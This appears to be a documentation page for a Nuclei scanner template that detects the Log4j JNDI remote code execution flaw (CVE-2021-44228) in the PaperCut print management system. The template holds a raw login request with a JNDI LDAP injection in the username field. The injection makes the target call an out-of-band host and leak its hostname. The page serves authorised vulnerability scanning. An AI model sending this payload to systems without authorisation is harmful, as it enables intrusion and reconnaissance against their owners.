Papercut - Remote Code Execution (Apache Log4j)
ID: papercut-log4j-rce
Severity: critical
Author: shaikhyaser
Tags: cve,cve2021,rce,jndi,log4j,papercut,oast,kev
Description
Section titled “Description”Papercut is susceptible to Log4j JNDI remote code execution. Papercut is a print management system.
YAML Source
Section titled “YAML Source”id: papercut-log4j-rce
info: name: Papercut - Remote Code Execution (Apache Log4j) author: shaikhyaser severity: critical description: | Papercut is susceptible to Log4j JNDI remote code execution. Papercut is a print management system. reference: - https://www.papercut.com/kb/Main/Log4Shell-CVE-2021-44228#product-status classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-77 cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:* metadata: max-request: 1 shodan-query: title:"Papercut" product: papercut_mf vendor: papercut tags: cve,cve2021,rce,jndi,log4j,papercut,oast,kevvariables: rand1: '{{rand_int(111, 999)}}' rand2: '{{rand_int(111, 999)}}' str: "{{rand_base(5)}}"
http: - raw: - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Referer: {{RootURL}}/app Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FHome%2F%24Form&sp=S0&Form0=%24Hidden%240%2C%24Hidden%241%2CinputUsername%2CinputPassword%2C%24Submit%240%2C%24PropertySelection&%24Hidden%240=true&%24Hidden%241=X&inputUsername=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&inputPassword=a&%24Submit%240=Log+in&%24PropertySelection=en
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns"
- type: regex part: interactsh_request regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors: - type: kval kval: - interactsh_ip
- type: regex part: interactsh_request group: 2 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex part: interactsh_request group: 1 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'# digest: 4a0a00473045022100921c616f6112ecbe85a6ca3cf1ca29aee6375b73f71973203c765ac545e492ab02202348603dac123edb10eda49b726a9df79f6bf5f47ba17b7d01e3d6bcf6562479:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/papercut-log4j-rce.yaml"